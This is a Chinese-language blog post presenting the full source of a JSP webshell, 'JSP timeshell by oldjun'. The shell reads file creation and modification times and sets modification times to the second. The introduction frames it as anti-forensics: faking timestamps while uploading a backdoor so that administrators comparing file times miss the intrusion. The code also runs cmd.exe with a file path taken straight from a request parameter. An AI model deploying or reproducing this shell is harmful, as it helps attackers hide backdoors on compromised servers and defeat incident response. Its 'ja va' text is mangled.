许多网站管理员习惯通过对比文件的修改时间来判断网站是否被入侵,并定位恶意脚本。这种方法确实有效,但也正因如此,篡改文件修改时间成为对抗检测的常用手段。毕竟,如果在上传后门的同时将时间戳伪装成正常文件的模样,被发现的概率就会大幅降低。
不过,在JSP环境中,系统只提供了修改“文件修改时间”的接口,对于“文件创建时间”则没有任何原生修改方法。此前社区中流传的kj021320版JSP Shell虽然能够修改时间,但仅支持修改年月日,无法精确到秒,并且在Resin 2.1.9环境下无法正常运行。既然现有工具无法满足需求,干脆自行开发一个轻量级Shell,专门解决这个时间修改问题。
这个Shell主要实现两个功能:第一,查看文件的时间属性,包括修改时间和创建时间;第二,修改文件的修改时间,并且支持精确到秒的设置。代码已在Apache Tomcat 6.0.18环境下实测通过,各位站长可以放心使用。
代码如下:
复制代码
代码如下:<%@ page import="ja va.io.*" %>
<%@ page import="ja va.util.*, ja va.text.*" %>
<%@ page language="ja va" import="ja va.util.Enumeration" contentType="text/html; charset=GB2312"%>
JSP timeshell by oldjun
<%!
public static String getFileCreateDate(File _file) {
File file = _file;
try {
Process ls_proc = Runtime.getRuntime().exec("cmd.exe /c dir \"" + file.getAbsolutePath() + "\" /tc");
BufferedReader br = new BufferedReader(new InputStreamReader(ls_proc.getInputStream()));
for (int i = 0; i < 5; i++) {
br.readLine();
}
String stuff = br.readLine();
StringTokenizer st = new StringTokenizer(stuff);
String dateC = st.nextToken();
String time = st.nextToken();
String datetime = dateC.concat(" "+time);
br.close();
return datetime;
} catch (Exception e) {
return null;
}
}
String folderReplace(String folder){
return folder.replace('\\','/');
}
%>
<%
String action = null;
if (request.getParameter("action") == null)
action = "main";
else
action = (String)request.getParameter("action");
if (action.equals("main")) {
%>
<%
}else if (action.equals("getinfo")) {
String filepath = folderReplace(request.getParameter("file"));
File file = new File(filepath);
if(!file.exists()){
out.println("");
}
%>
filepath:
<%=filepath%>
lastModifiedtime:
<%=new Date(file.lastModified())%>
Createtime:
<%
String Createtime=getFileCreateDate(file);
out.println(Createtime);
%>
now:
<%
Date myDate = new Date();
out.println(myDate.toLocaleString());
%>
<%
}else if (action.equals("change")) {
String url="?action=main";
String filepath = folderReplace(request.getParameter("file"));
String year = request.getParameter("year");
String month = request.getParameter("month");
String day = request.getParameter("day");
String hour = request.getParameter("hour");
String min = request.getParameter("min");
String sec = request.getParameter("sec");
File file = new File(filepath);
Calendar calendar=Calendar.getInstance();
calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day),Integer.parseInt(hour),Integer.parseInt(min),Integer.parseInt(sec));
if(file.setLastModified(calendar.getTimeInMillis()))
out.println("");
else
out.println("");
}
%>
